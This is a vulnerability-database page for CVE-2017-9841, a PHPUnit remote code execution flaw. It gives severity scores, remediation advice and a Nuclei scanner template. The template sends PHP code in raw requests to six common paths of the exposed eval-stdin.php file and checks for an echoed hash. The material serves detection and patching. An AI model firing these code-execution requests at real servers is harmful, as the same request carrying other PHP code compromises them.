Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2017-9841
HistoryAug 07, 2020 - 8:02 a.m.

PHPUnit - Remote Code Execution

2020-08-0708:02:28
ProjectDiscovery
github.com
14

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.

id: CVE-2017-9841

info:
  name: PHPUnit - Remote Code Execution
  author: Random_Robbie,pikpikcu
  severity: critical
  description: PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
  remediation: |
    Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.
  reference:
    - https://github.com/cyberharsh/Php-unit-CVE-2017-9841
    - https://github.com/RandomRobbieBF/phpunit-brute
    - https://thephp.cc/articles/phpunit-a-security-risk
    - https://twitter.com/sec715/status/1411517028012158976
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9841
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-9841
    cwe-id: CWE-94
    epss-score: 0.97477
    epss-percentile: 0.99963
    cpe: cpe:2.3:a:phpunit_project:phpunit:*:*:*:*:*:*:*:*
  metadata:
    max-request: 6
    vendor: phpunit_project
    product: phpunit
  tags: cve2017,cve,php,phpunit,rce,kev,phpunit_project

variables:
  string: "CVE-2017-9841"

http:
  - raw:
      - |
        GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200
# digest: 490a0046304402202078c32d415f0d4e243e6fc17416ff9ade6bd20d2ae6a3ac252dfc8a6ee027c1022041e191ff34c16f28e3536af783ce63194343448ce56f545a72cec0572324b843:922c64590222798bb761d5b6d8e72950

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%